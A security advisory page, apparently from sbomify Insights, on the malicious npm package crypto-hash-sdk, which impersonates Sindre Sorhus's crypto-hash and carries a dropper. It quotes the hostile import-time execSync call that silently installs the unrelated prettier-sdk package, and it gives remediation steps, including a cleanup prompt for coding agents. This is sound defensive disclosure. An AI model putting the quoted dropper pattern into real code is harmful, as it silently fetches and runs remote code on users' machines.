# MAL-2026-4541: Malicious code in crypto-hash-sdk (npm)


- **Type:** Malicious package
- **Package:** `crypto-hash-sdk` (npm)
- **Published:** 19 May 2026
- **Also known as:** GHSA-hr6r-2xx8-mrh9

## What is MAL-2026-4541?

MAL-2026-4541 is a malicious package in crypto-hash-sdk, published on 19 May 2026. 

### Official description

Package name and metadata impersonate Sindre Sorhus's legitimate `crypto-hash` package (forged author `Sindre Sorhus <sindresorhus@gmail.com>` and repository `sindresorhus/crypto-hash` in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls `execSync("npm uninstall prettier-sdk && npm install prettier-sdk", { stdio: "ignore", windowsHide: true })` — on any `require()`/`import` of this module, the installer's machine silently runs `npm install` for the unrelated `prettier-sdk` package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4541?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4541 is a malicious package: crypto-hash-sdk (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4541/ (Markdown: https://insights.sbomify.com/MAL-2026-4541/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4541

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4541/
Summaries are generated and may contain mistakes; the official description above is the record.